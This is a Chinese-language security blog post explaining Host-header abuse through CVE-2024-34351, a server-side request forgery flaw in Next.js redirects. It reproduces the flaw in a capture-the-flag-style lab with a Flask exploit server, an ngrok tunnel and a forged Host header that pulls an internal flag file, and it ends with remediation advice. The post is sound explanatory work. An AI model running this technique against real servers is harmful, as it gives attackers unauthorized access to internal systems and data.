前言

本篇博文主要內(nèi)容是通過代碼審計以及場景復(fù)現(xiàn)一個 NextJS 的安全漏洞（CVE-2024-34351）來講述濫用 Host 頭的危害。

嚴(yán)正聲明：本博文所討論的技術(shù)僅用于研究學(xué)習(xí)，旨在增強讀者的信息安全意識，提高信息安全防護技能，嚴(yán)禁用于非法活動。任何個人、團體、組織不得用于非法目的，違法犯罪必將受到法律的嚴(yán)厲制裁。

Host 概念介紹

Host 是什么

當(dāng)你在瀏覽器中輸入一個網(wǎng)址并回車時，你的瀏覽器會發(fā)送一個 HTTP 請求到相應(yīng)的服務(wù)器以獲取網(wǎng)頁內(nèi)容，在這個 HTTP 請求中，會有一個叫做 "Host" 的字段，"Host" 字段標(biāo)識了 HTTP 請求中所訪問的主機名或域名。

在 HTTP/1.1 協(xié)議中，這個字段是必需的，它告訴服務(wù)器請求是發(fā)送到哪個具體的主機。

在上述流量中，"Host" 字段的值是 "www.baidu.com" ，這告訴服務(wù)器，當(dāng)前這個請求是為了獲取 www.baidu.com 上的資源。

Host 的作用

當(dāng)用戶通過域名請求一個網(wǎng)站時，首先會進行 DNS 查詢，將域名解析為對應(yīng)的 IP 地址。在傳統(tǒng)模式中，一個 IP 地址只能對應(yīng)一個服務(wù)器的一個端口，通常使用默認(rèn)的80端口或443端口。但是，我們想要在同一臺服務(wù)器上運營多個網(wǎng)站，這要如何實現(xiàn)呢？

其中一種解決方案是利用 HTTP 請求頭中的 "Host" 字段來區(qū)分用戶訪問的網(wǎng)站。服務(wù)器可以根據(jù) "Host" 字段轉(zhuǎn)發(fā)請求到對應(yīng)的網(wǎng)站，這樣就能實現(xiàn)一臺服務(wù)器上運營多個網(wǎng)站。

Host 濫用危害

在正常情況下，Host 頭部用于指示用戶訪問的域名，然而，攻擊者可以通過修改 Host 頭部來欺騙服務(wù)器，使其認(rèn)為用戶訪問的是受信任的域名，從而繞過安全檢查。

具體而言，攻擊者可以構(gòu)造一個惡意的 Host 頭部，將其設(shè)置為目標(biāo)服務(wù)器上的受信任域名。當(dāng)服務(wù)器接收到請求時，它會根據(jù) Host 頭部來確定用戶訪問的站點，并執(zhí)行相應(yīng)的邏輯。攻擊者可以利用這個漏洞來執(zhí)行未經(jīng)授權(quán)的操作，例如訪問敏感數(shù)據(jù)、執(zhí)行惡意代碼等。

Host 濫用可能會導(dǎo)致以下一些危害：

1. XSS、SSRF、SQL 注入等；
2. 未授權(quán)訪問；
3. 網(wǎng)頁緩存污染；
4. 密碼重置污染；
5. ...

接下來以 CVE-2024-34351 為例進行詳細(xì)講解，它是一個源自 NextJS 中的安全漏洞，該漏洞的利用方式是通過惡意構(gòu)造的 Host 頭部來觸發(fā) SSRF。

NextJS 既是客戶端庫，又提供了一個功能齊全的服務(wù)器端框架，但這一特性卻讓 hacker 有機可乘。在用戶調(diào)用服務(wù)器接口，并且服務(wù)器以重定向進行響應(yīng)時，它會調(diào)用以下函數(shù)：

async function createRedirectRenderResult(req: IncomingMessage,res: ServerResponse,redirectUrl: string,basePath: string,staticGenerationStore: StaticGenerationStore
) {...if (redirectUrl.startsWith('/')) {...const host = req.headers['host']...const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)...try {const headResponse = await fetch(fetchUrl, {method: 'HEAD',headers: forwardedHeaders,next: {// @ts-ignoreinternal: 1,},})if (headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER) {const response = await fetch(fetchUrl, {method: 'GET',headers: forwardedHeaders,next: {// @ts-ignoreinternal: 1,},})...return new FlightRenderResult(response.body!)}} catch (err) {...}}return RenderResult.fromStatic('{}')
}

根據(jù)上述代碼可以發(fā)現(xiàn)，如果重定向路徑以 / 開頭，服務(wù)器會請求 fetchUrl 資源返回給客戶端，而不是直接將客戶端直接重定向到 fetchUrl。

而 fetchUrl 中的目標(biāo)地址正是來自客戶端請求頭中的 Host 參數(shù)：

const host = req.headers['host'] 
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)

如果我們偽造指向內(nèi)部主機的 Host 頭，NextJS 將嘗試從該主機而不是應(yīng)用程序本身獲取響應(yīng)，從而導(dǎo)致 SSRF。

下面我們將通過場景復(fù)現(xiàn)的形式來進一步講解，同時也能夠加深讀者的理解。

Host 漏洞復(fù)現(xiàn)

現(xiàn)在有一個 WEB 程序，目錄結(jié)構(gòu)如下所示：

Archive:  log-action.zipcreating: log-action/creating: log-action/backend/inflating: log-action/backend/flag.txt  inflating: log-action/docker-compose.yml  creating: log-action/frontend/inflating: log-action/frontend/.gitignore  inflating: log-action/frontend/Dockerfile  inflating: log-action/frontend/entrypoint.sh  inflating: log-action/frontend/next-env.d.ts  inflating: log-action/frontend/next.config.mjs  inflating: log-action/frontend/package-lock.json  inflating: log-action/frontend/package.json  inflating: log-action/frontend/postcss.config.mjs  creating: log-action/frontend/src/creating: log-action/frontend/src/app/creating: log-action/frontend/src/app/admin/inflating: log-action/frontend/src/app/admin/page.tsx  inflating: log-action/frontend/src/app/global.css  inflating: log-action/frontend/src/app/layout.tsx  creating: log-action/frontend/src/app/login/inflating: log-action/frontend/src/app/login/page.tsx  creating: log-action/frontend/src/app/logout/inflating: log-action/frontend/src/app/logout/page.tsx  inflating: log-action/frontend/src/app/page.tsx  inflating: log-action/frontend/src/auth.config.ts  inflating: log-action/frontend/src/auth.ts  creating: log-action/frontend/src/lib/inflating: log-action/frontend/src/lib/actions.ts  inflating: log-action/frontend/src/middleware.ts  inflating: log-action/frontend/tailwind.config.ts  inflating: log-action/frontend/tsconfig.json  

我們的目的是獲取到 log-action/backend/flag.txt 里的內(nèi)容。當(dāng)前 log-action/backend/flag.txt 通過 Nginx 掛載到 /usr/share/nginx/html/flag.txt，因此，我們只需要到達內(nèi)部 Nginx，即可訪問 http://<后端IP>/flag.txt 來獲取到文件內(nèi)容。

這里利用了 Next.js 在服務(wù)器操作中的 SSRF 漏洞（CVE-2024-34351）。當(dāng)我們調(diào)用一個服務(wù)器動作時，它會通過異步函數(shù) createRedirectRenderResult() 來響應(yīng)一個重定向。Tip: 已在上文進行分析。

而 WEB 應(yīng)用程序源代碼中的注銷頁面 log-action/frontend/src/app/logout/page.tsx 剛好符合上述條件，它使用服務(wù)器操作 "use server"; 和 redirect() 函數(shù)將客戶端重定向到 /login。

當(dāng)我們點擊注銷頁面的 “Log out” 按鈕時，它會發(fā)送以下 POST 請求：

因為重定向路徑以 / 開頭，它首先獲取重定向路徑的響應(yīng)，然后將響應(yīng)返回給客戶端，而不是直接重定向到客戶端，因此我們可以利用此特性，讓服務(wù)器端使用 Host 頭從任何來源獲取任何資源。

在本地創(chuàng)建一個 Flask 應(yīng)用程序，代碼如下所示：

from flask import Flask, request, Responseapp = Flask(__name__)@app.route('/login')
def exploit():if request.method == 'HEAD':response = Response()response.headers['Content-Type'] = 'text/x-component'return responseelif request.method == 'GET':return 'After CORS preflight check'if __name__ == '__main__':app.run(port=80, debug=True)

Tip

代碼里的路由為 /login 是沒有問題的，因為我們的下一個動作就是 redirect("/login")。
這是 NextJS 的特性，它使用 Next-Action ID 來唯一標(biāo)識我們下一步要采取的動作，因此只要我們傳遞對應(yīng)的 Next-Action 標(biāo)頭就會觸發(fā)動作，而不用去關(guān)心具體的路由。

通過 ngrok 進行端口轉(zhuǎn)發(fā)：

Forwarding                    https://1593-{REDACTED}.ngrok-free.app -> http://localhost:80

重新發(fā)送 /logout 請求，請求結(jié)果如下所示：

可以發(fā)現(xiàn)我們成功地獲取到了響應(yīng)體，那么接下來我們只要更改成 Flask 的代碼，將服務(wù)器端的 fetch 重定向到我們想要的資源即可，修改代碼如下所示：

@app.route('/login')
def exploit():if request.method == 'HEAD':...elif request.method == 'GET':ip = '后端IP'return redirect(f'http://{ip}/flag.txt')

運行結(jié)果：

為了修復(fù)這個漏洞，開發(fā)者應(yīng)該在處理重定向邏輯時，對 Host 頭部進行嚴(yán)格的驗證和過濾，確保只接受受信任的域名，并對非法的 Host 頭部進行拒絕或適當(dāng)?shù)奶幚怼?/p>

后記

在本文中，我們通過分析 NextJS SSRF 漏洞（CVE-2024-34351），展示了濫用 Host 頭所帶來的危害。通過對 Host 的概念介紹和濫用危害的詳細(xì)討論，我們希望讀者能夠加深對這一問題的理解，并在開發(fā)和維護應(yīng)用程序時更加重視和注意 Host 頭的安全使用。

作者：sidiot
鏈接：https://juejin.cn/post/7388064351503892495